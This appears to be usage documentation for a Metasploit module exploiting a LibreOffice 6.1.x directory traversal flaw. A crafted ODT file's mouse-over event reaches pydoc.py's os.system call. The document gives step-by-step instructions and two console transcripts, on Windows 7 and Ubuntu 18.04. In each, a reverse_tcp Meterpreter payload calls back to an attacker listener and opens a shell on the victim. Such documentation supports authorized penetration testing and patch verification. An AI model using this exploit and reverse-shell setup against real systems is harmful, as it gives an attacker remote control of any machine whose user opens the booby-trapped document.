## Description

  This module exploits a directory traversal vulnerability in LibreOffice `v6.1.0-6.1.2.1` that enables remote code execution.
  Note: `6.0.x` and `6.1.3.x` versions are reportedly vulnerable to the directory traversal attack, but are not exploitable by
  this module due to the lack of ability to pass arguments.

  LibreOffice comes bundled with sample macros written in Python and allows the ability to bind program events
  to them. A macro can be tied to a program event by including the script that contains the macro and the function
  name to be executed. Additionally, a directory traversal vulnerability exists in the component that references the
  Python script to be executed. This allows a program event to execute functions from Python scripts relative to the
  path of the samples macros folder. The `pydoc.py` script included with LibreOffice contains the `tempfilepager` function
  that passes arguments to `os.system`, allowing RCE.

  This module generates an ODT file with a mouse over event that when triggered, will execute arbitrary code.

## Vulnerable Application

  LibreOffice `v6.1.0-6.1.4.1`. Vulnerable versions for both Windows and Linux can be found [here](https://downloadarchive.documentfoundation.org/libreoffice/old/).

## Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: ```use exploit/multi/fileformat/libreoffice_macro_exec```
  4. Do: ```set FILENAME <name>```
  5. Do: ```set LHOST <ip>```
  6. Do: ```set LPORT <port>```
  7. Do: ```run```
  8. Move the generated file to the target
  9. Start a handler
 10. Open the file with a vulnerable version of LibreOffice
 11. You should get a shell.

## Scenarios

### Tested on LibreOffice 6.1.2.1 running Windows 7

  ```
  msf > use exploit/multi/fileformat/libreoffice_macro_exec 
  msf exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1
  lhost => 192.168.37.1
  msf exploit(multi/fileformat/libreoffice_macro_exec) > run

  [+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
  msf exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler
  msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
  payload => windows/meterpreter/reverse_tcp
  msf exploit(multi/handler) > set lhost 192.168.37.1
  lhost => 192.168.37.1
  msf exploit(multi/handler) > run

  [*] Started reverse TCP handler on 192.168.37.1:4444 
  [*] Sending stage (179779 bytes) to 192.168.37.156
  [*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.156:49180) at 2019-04-12 15:14:04 -0500

  meterpreter > getuid
  Server username: WIN-MGMN7ND70I1\a_user
  meterpreter > sysinfo
  Computer        : WIN-MGMN7ND70I1
  OS              : Windows 7 (Build 7601, Service Pack 1).
  Architecture    : x64
  System Language : en_US
  Domain          : WORKGROUP
  Logged On Users : 1
  Meterpreter     : x86/windows
  ```

### Tested on LibreOffice 6.1.0.1 running Ubuntu 18.04

  ```
  msf > use exploit/multi/fileformat/libreoffice_macro_exec
  msf exploit(multi/fileformat/libreoffice_macro_exec) > set target 1
  target => 1
  msf exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1
  lhost => 192.168.37.1
  msf exploit(multi/fileformat/libreoffice_macro_exec) > run

  [+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
  msf exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler
  msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
  payload => linux/x86/meterpreter/reverse_tcp
  msf exploit(multi/handler) > set LHOST 192.168.37.1
  LHOST => 192.168.37.1
  msf exploit(multi/handler) > run

  [*] Started reverse TCP handler on 192.168.37.1:4444
  [*] Sending stage (985320 bytes) to 192.168.37.174
  [*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.174:39912) at 2019-04-12 14:50:08 -0500

  meterpreter > getuid
  Server username: uid=1000, gid=1000, euid=1000, egid=1000
  meterpreter > sysinfo
  Computer     : 192.168.37.174
  OS           : Ubuntu 18.04 (Linux 4.18.0-16-generic)
  Architecture : x64
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux
  ```
